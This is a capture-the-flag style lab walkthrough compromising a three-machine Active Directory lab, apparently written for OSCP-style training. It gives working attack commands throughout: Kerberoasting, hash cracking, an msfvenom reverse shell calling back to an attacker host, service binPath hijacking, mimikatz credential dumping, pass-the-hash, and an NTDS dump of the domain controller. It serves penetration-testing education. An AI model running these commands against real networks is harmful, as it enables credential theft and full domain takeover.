> ## Documentation Index > Fetch the complete documentation index at: https://www.nthsec.com/llms.txt > Use this file to discover all available pages before exploring further. # Forensics ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-140.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=edffb6cf2b69b18c1194e94d51c4122c) #### **Starting Credentials** > [!NOTE] > > This is an assumed breach scenario. Use the credentials below: > > ```text theme={null} > User: shannon > Password: GoldSeagull123 > ``` #### **Active Directory Layout** This lab consists of 3 machines (mimicking an OSCP set), consisting of 1 domain controller and 2 domain joined machines. Running an nmap scan across all of the given hosts, we can create the following table to give us an idea of what our attack surface looks like: ```shellscript theme={null} └─$ cat hosts.txt 10.1.182.99 10.1.4.41 10.1.204.229 nmap -T4 -A -iL hosts.txt -oN nmap.txt ``` | IP Address | Hostname | Ports / Services Open | | - | - | - | | 10.1.182.99 | DC01 | Normal Domain Controller ports (53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269), RDP, and WinRM | | 10.1.4.41 | FORENSICS01 | SMB, RDP, WinRM | | 10.1.204.229 | WS01 | SMB, RDP, WinRM | # Enumeration With AD enumeration, I always like to start by using [nxcspray](https://github.com/NTHSec/nxcspray)with the given credentials and see if we have any low hanging fruit access: ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-141.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=41e716277ceb38189109e4e83c8bb2db) No WinRM or automatic admin access here, so we will continue basic AD enumeration, starting with looking for SMB shares: ```shellscript theme={null} ┌──(kali㉿kali)-[~/HackSmarter/Forensics] └─$ nxc smb hosts.txt -u shannon -p GoldSeagull123 --shares SMB 10.1.182.99 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:LAINOSCP.local) (signing:True) (SMBv1:False) SMB 10.1.4.41 445 FORENSICS01 [*] Windows Server 2022 Build 20348 x64 (name:FORENSICS01) (domain:LAINOSCP.local) (signing:False) (SMBv1:False) SMB 10.1.182.99 445 DC01 [+] LAINOSCP.local\shannon:GoldSeagull123 SMB 10.1.4.41 445 FORENSICS01 [+] LAINOSCP.local\shannon:GoldSeagull123 SMB 10.1.4.41 445 FORENSICS01 [*] Enumerated shares SMB 10.1.4.41 445 FORENSICS01 Share Permissions Remark SMB 10.1.4.41 445 FORENSICS01 ----- ----------- ------ SMB 10.1.4.41 445 FORENSICS01 ADMIN$ Remote Admin SMB 10.1.4.41 445 FORENSICS01 C$ Default share SMB 10.1.4.41 445 FORENSICS01 IPC$ READ Remote IPC SMB 10.1.182.99 445 DC01 [*] Enumerated shares SMB 10.1.182.99 445 DC01 Share Permissions Remark SMB 10.1.182.99 445 DC01 ----- ----------- ------ SMB 10.1.182.99 445 DC01 ADMIN$ Remote Admin SMB 10.1.182.99 445 DC01 C$ Default share SMB 10.1.182.99 445 DC01 IPC$ READ Remote IPC SMB 10.1.182.99 445 DC01 NETLOGON READ Logon server share SMB 10.1.182.99 445 DC01 SYSVOL READ Logon server share SMB 10.1.204.229 445 WS01 [*] Windows Server 2022 Build 20348 x64 (name:WS01) (domain:LAINOSCP.local) (signing:False) (SMBv1:False) SMB 10.1.204.229 445 WS01 [+] LAINOSCP.local\shannon:GoldSeagull123 SMB 10.1.204.229 445 WS01 [*] Enumerated shares SMB 10.1.204.229 445 WS01 Share Permissions Remark SMB 10.1.204.229 445 WS01 ----- ----------- ------ SMB 10.1.204.229 445 WS01 ADMIN$ Remote Admin SMB 10.1.204.229 445 WS01 C$ Default share SMB 10.1.204.229 445 WS01 IPC$ READ Remote IPC ``` As we can see, there are only default shares `IPC$, NETLOGON, SYSVOL.` So nothing interesting to pursue here. Moving on to other types of enumeration, we can pull down other users with [nxc](https://www.netexec.wiki/) to build a full users list: ```shellscript theme={null} └─$ nxc ldap 10.1.182.99 -u shannon -p GoldSeagull123 --users-export users.txt LDAP 10.1.182.99 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:LAINOSCP.local) (signing:None) (channel binding:No TLS cert) LDAP 10.1.182.99 389 DC01 [+] LAINOSCP.local\shannon:GoldSeagull123 LDAP 10.1.182.99 389 DC01 [*] Enumerated 7 domain users: LAINOSCP.local LDAP 10.1.182.99 389 DC01 -Username- -Last PW Set- -BadPW- -Description- LDAP 10.1.182.99 389 DC01 Administrator 2026-05-25 00:37:25 0 Built-in account for administering the computer/domain LDAP 10.1.182.99 389 DC01 Guest 0 Built-in account for guest access to the computer/domain LDAP 10.1.182.99 389 DC01 krbtgt 2026-05-25 00:10:08 0 Key Distribution Center Service Account LDAP 10.1.182.99 389 DC01 shannon 2026-05-25 00:40:46 0 LDAP 10.1.182.99 389 DC01 lion 2026-05-25 00:41:30 0 LDAP 10.1.182.99 389 DC01 kanon 2026-05-25 00:42:20 0 LDAP 10.1.182.99 389 DC01 erika 2026-05-25 00:43:36 0 ``` We can also pull down bloodhound information: ```shellscript theme={null} nxc ldap 10.1.182.99 -u shannon -p GoldSeagull123 --bloodhound --dns-tcp --dns-server 10.1.182.99 -c all ``` # Initial Foodhold: GenericWrite on Lion Using the bloodhound data we just pulled down, we find that our user `shannon` has the following interaction on another domain user, `lion` : ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-142.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=04acb787fd1b75360b16c1edc9df5756) We see that Shannon has GenericWrite over `Lion`, which means we can compromise the `Lion `user via [Targeted Kerberoast](https://github.com/ShutdownRepo/targetedKerberoast):\ \ First, we need to request a krb5tgs for the user lion using `targetedKerberoast.py` ```shellscript theme={null} python3 targetedKerberoast.py -u shannon -p GoldSeagull123 -d LAINOSCP.local --dc-ip 10.1.182.99 --request-user lion ``` ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-144.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=040cadc8c4236f149f76676697311e3b) \ Then we can crack that hash with hashcat to retrieve Lion's plaintext password: ```powershell theme={null} hashcat.exe -m 13100 hash.txt rockyou.txt ``` ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-143.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=2b59b6f8b0e53a3c9692f553ee7cce7e) # Access as Lion on WS01 First, spraying our new creds against the hosts and WinRM, we find that `lion` has shell access on WS01! ```shellscript theme={null} nxcspray winrm hosts.txt -u lion -p [redacted] ``` ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-146.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=7ae6471efb2d57b0ec8dab4a034ef428) We can use [evil-winrm](https://github.com/hackplayers/evil-winrm) to grab a shell ```shellscript theme={null} evil-winrm -i 10.1.204.229 -u lion -p [redacted] ``` ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-147.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=3a2e311b2af403eadc39a50371062b4a) Looking in our home directory, we find that we have a `.accdb` database file in our downloads folder! ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-148.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=c4b594fd5ebc2dbd032ccf42b69073dc) We can pull this file down to our kali machine using the evil-winrm `download` functionality: ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-149.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=8c6e553d444da5c76d6fbfbd48b4d51c) # Lateral Movement: Lion → Kanon via DB File **What is a .accdb file?** An `.accdb` file is a standard database file created by Microsoft Access (version 2007 and newer, including Microsoft 365). For our sake, it basically is a DB that might contain sensitive information. To read this type of file, we can use [this github repo](https://github.com/thealbinary/Accdb), which conveniently provides a python script to access `.accdb` files, even those that are password protected (which I presume this one might be). We can confirm this by running the `accdbpy.py` tool trying to list tables from our extracted files: ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-150.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=13f12a06a329cec731f02897ddbfaa06) As expected, this DB is password protected. Fortunately, to crack the password of this file, we can use office2john: ```shellscript theme={null} office2john Database1.accdb > forjohn.txt john forjohn.txt --wordlist=/usr/share/wordlists/rockyou.txt ``` ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-151.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=ab25ffb4788729edc834b17e3fe2f841) \ Now, we can dump the Users table to find another set of credentials! This time for the user `kanon`: ```shellscript theme={null} python3 accdbpy.py tables Database1.accdb -p [redacted] python3 accdbpy.py dump Database1.accdb -p [redacted] Users ``` ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-152.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=dc935cd83071070687baa965930eb32b) # Access as Kanon on WS01 Spraying the creds we obtained from the `.accdb `database, we see that we get access to the same machine (WS01) via WinRM as `kanon`: ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-153.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=8295cf7d878e534f7470a7622e64c385) Enumerating kanon's user directory, we don't get as lucky as last time, as there isn't much here to go off of: ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-154.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=2077409ae6f163472a9d522abf16d7bf) # Privilege Escalation on WS01 Beyond files in the user's directory, we can upload a [privesc script](https://github.com/itm4n/PrivescCheck), such as `PrivescCheck.ps1` to see if we can pick up any other low hanging fruits on this machine. ```text theme={null} upload PrivescCheck.ps1 . .\PrivescCheck.ps1 Invoke-PrivescCheck ``` Running the checks, we see that one main thing gets picked up: ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-155.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=7d47474c15bd5ea81d0d0b8b024064dd) According to the script, we can perform `ChangeConfig`, `Start`, `Stop`on the `wuauserv `service. This means that we should be able to change the config a little bit to obtain a SYSTEM shell! First, let's generate our shell: ```shellscript theme={null} msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.200.115.143 LPORT=443 -f exe -o shell.exe ``` Now, we can upload this shell to the target machine and more importantly, **change the config path of the service to a binary path of our choice** (in this case, our shell): ```shellscript theme={null} upload shell.exe *Evil-WinRM* PS C:\Users\kanon\Desktop> sc.exe config wuauserv binPath= "C:\Users\kanon\Desktop\shell.exe" [SC] ChangeServiceConfig SUCCESS ``` Now that we have changed the binary path, we can restart the service to drop into a SYSTEM shell! ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-156.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=91323e01dd2f82d5c94724c3861710ec) ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-157.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=89ac445e9f1c158619185433698836ab) The next step I want to do is [dump secrets](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py) on this machine in hopes that there are some other domain users that might have logged into this machine at one point. To do this, we can add a new admin user using `net user`: ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-158.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=c9576044223c23efe73bafcbece160c5) It's important to note we technically can't dump secrets yet (despite being an administrator): *Note: There is no "Pwn3d!" in the nxc output* ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-159.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=d893b55f3333610b90216e49cacbf9ef) To fix this, we can add the following registry key on the machine via our SYSTEM shell: ```powershell theme={null} reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f ``` And now we can easily dump secrets! ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-160.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=2ea9356db57678ef97ae52441a433dc5) Looking at secretsdump output, we find cleartext credentials for `erika` ! ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-161.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=9b1c713fca6fb6f2d05563dd775b6951) # Access as Erika on FORENSICS01 Spraying these newfound creds, we find that we have WinRM access on the FORENSICS01 workstation! ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-162.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=9cb40db5de3d767744a0dd659e412305) As soon as we grab a shell, we see that our user `erika` has the `SeDebugPrivilege` privilege! ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-163.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=c46a23b570c1944a2ee0c25e69eba85e) This privilege allows us to run tools like [mimikatz](https://github.com/ParrotSec/mimikatz) because having `SeDebug` bypasses standard Windows process memory-protection boundaries, granting us full access to open a handle and read the memory of protected system processes like `lsass.exe` , which holds the credentials we are so interested in! So going off of that theory, we can put it into practice and extract the NTLM hash of the local administrator on the machine! ```shellscript theme={null} .\mimikatz.exe "privilege::debug" ""sekurlsa::logonPasswords" "exit" ``` ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-164.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=0fbcb178005f47f62be706f3cb217e86) # Access as Administrator on FORENSICS01 Using the hash we just found, we can perform [pass-the-hash](https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.html) to gain WinRM access on the same FORENSICS01 machine. Performing the same enumeration as the other machine, we can use `tree . /f` to list out all the files in our Administrator folder: ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-165.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=3d24f09e77f328fa58b1af1004c3e406) Looking at the output of `notes.txt`like there are some iocs from previous attackers left behind: ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-166.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=4fb44b099823e1f81a6decb0f5061e46) # Privilege Escalation to Domain Administrator The `notes.txt` file above mentions that the ticket file (.kirbi) is for the domain admin! We can use this to forge our own ccache domain admin ticket on kali and login as the domain admin: First, we need to convert the .kirbi file to a .ccache: ```shellscript theme={null} impacket-ticketConverter administrator.kirbi administrator.ccache ``` Describing our ticket with `klist`, we see that we are the [Administrator@LAINOSCP.LOCAL](mailto:Administrator@LAINOSCP.LOCAL) as anticipated! ```shellscript theme={null} export KRB5CCNAME=administrator.ccache klist ``` ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-167.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=d5005ad1380c672714293f30f74cf43e) Now we can use this ticket to dump the domain controller secrets, and claim the domain administrator NTLM hash! ```shellscript theme={null} nxc smb DC01.LAINOSCP.LOCAL -u 'Administrator' -k --use-kcache --kdcHost 10.1.182.99 --ntds ``` ![Image](https://mintcdn.com/nthsec/GeO22CQzwirNGGRZ/images/image-168.png?fit=max\&auto=format\&n=GeO22CQzwirNGGRZ\&q=85\&s=2f2b7286cc6bb4b3b3e17447fa6d6b57) That's the box! While there wasn't anything crazy new here, it is always very cool to see how different machines mash together vulnerabilities across AD to create a path to domain administrator. Great job on another set, Lain! This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.